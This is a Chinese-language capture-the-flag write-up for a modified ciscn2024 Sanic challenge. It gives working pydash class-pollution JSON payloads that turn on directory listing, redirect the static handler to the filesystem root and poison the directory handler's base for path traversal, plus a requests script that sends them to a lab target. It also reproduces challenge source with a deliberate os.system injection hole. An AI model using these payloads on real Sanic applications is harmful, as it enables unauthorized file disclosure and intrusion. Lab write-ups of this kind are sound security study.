运气好,抢到个一血

Sanic's revenge

先下载附件
2024-07-20T08:02:13.png
根据题目知道是ciscn2024的Sanic的修改版,直接找到国赛的wp
直接复制payload即可

开启目录模式

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
2024-07-20T08:06:05.png

ssrf

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
2024-07-20T08:07:17.png

爆破得到app.py源码

/proc/9/cmdline知道/app/2Q17A58T9F65y5i8.py
2024-07-20T08:08:32.png

from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
    def __init__(self):
        pass

def create_log_dir(n):
        ret = ""
        for i in range(n):
            num = random.randint(0, 9)
            letter = chr(random.randint(97, 122))
            Letter = chr(random.randint(65, 90))
            s = str(random.choice([num, letter, Letter]))
            ret += s
        return ret
        
app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
    with open("/h111int",'r') as f:
       hint=f.read()
    return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())
   
@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
    #方便管理员查看非法日志
    log_dir=os.popen('ls /tmp -al').read();
    return text(log_dir)
    
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        log_dir=create_log_dir(6)
        log_dir_bak=log_dir+".."
        log_file="/tmp/"+log_dir+"/access.log"
        log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
        log='key: '+str(key)+'|'+'value: '+str(value);
        #生成日志文件
        os.system("mkdir /tmp/"+log_dir)
        with open(log_file, 'w') as f:
             f.write(log)
        #备份日志文件
        os.system("mkdir /tmp/"+log_dir_bak)
        with open(log_file_bak, 'w') as f:
             f.write(log)
        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

得到hint,flag在/app下
2024-07-20T08:11:23.png
还可以访问/adminLook得到/tmp目录下的日志文件夹
2024-07-20T08:11:52.png

获取flag名字

这里先本地搭个调试的环境
2024-07-20T08:18:45.png
先在本地把上面的payload打一遍,把上面的属性一个个尝试过去发现更改base属性会导致/static/报错
2024-07-20T08:22:00.png
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "aa"}
访问/static/返回500,可以看到在我们本来的/static/路径后面又加上了一个atic,说明有可能可以通过base在后面加上../来进行路径穿越
2024-07-20T08:23:36.png
通过调试发现是在DirectoryHandler这个类的文件里对我们请求的路径和文件夹路径进行了一次拼接
2024-07-20T08:27:55.png
所以才会出现上面的报错
2024-07-20T08:29:43.png
那为什么是atic呢?
current = path.strip("/")[len(self.base) :].strip("/")
因为我们请求的路径是/static/,所以path是/static/,去掉/后是static,base我们污染为aa,长度为2,截取之后就是atic了。
那我们能不能访问/static/../然后截取为../呢,经过尝试发现不行,会直接返回404,调试都调不到我们上面那个地方
2024-07-20T08:51:54.png
2024-07-20T08:52:19.png
2024-07-20T08:52:37.png
这里我没具体去调,应该是要返回30x,即存在的目录才可以到那个地方。
2024-07-20T08:53:21.png
虽然我们的base可控,但是path被限制为要存在的目录。那什么目录后面会有../呢?还真有
2024-07-20T08:45:11.png
2024-07-20T08:45:36.png
先污染base为我们要的长度
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/tmp/19A4CY"}
然后访问/static/tmp/19A4CY../
2024-07-20T08:50:11.png
成功得到current为..,并拼接到/static/后面
2024-07-20T08:49:55.png
成功往上跳了一级
2024-07-20T08:47:07.png

靶机拿flag

把下面的payload一个个发过去就可以了。

import requests

base = 'http://3d462db3-c5d0-474f-a518-5882c80965cf.node5.buuoj.cn:81'
s = requests.Session()

# 开启目录浏览
#data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

# 开启ssrf
#data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

# 传paths让靶机写日志文件夹
# data = {"key":"paths","value": "test"}

# 污染base,往上跳一级,value的值要自己访问/adminLook得到
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/tmp/19A4CY"}

r = s.post(base + '/pollute', json=data)

print(r.text)

得到flag名字
2024-07-20T08:54:42.png
ssrf读即可
2024-07-20T08:59:45.png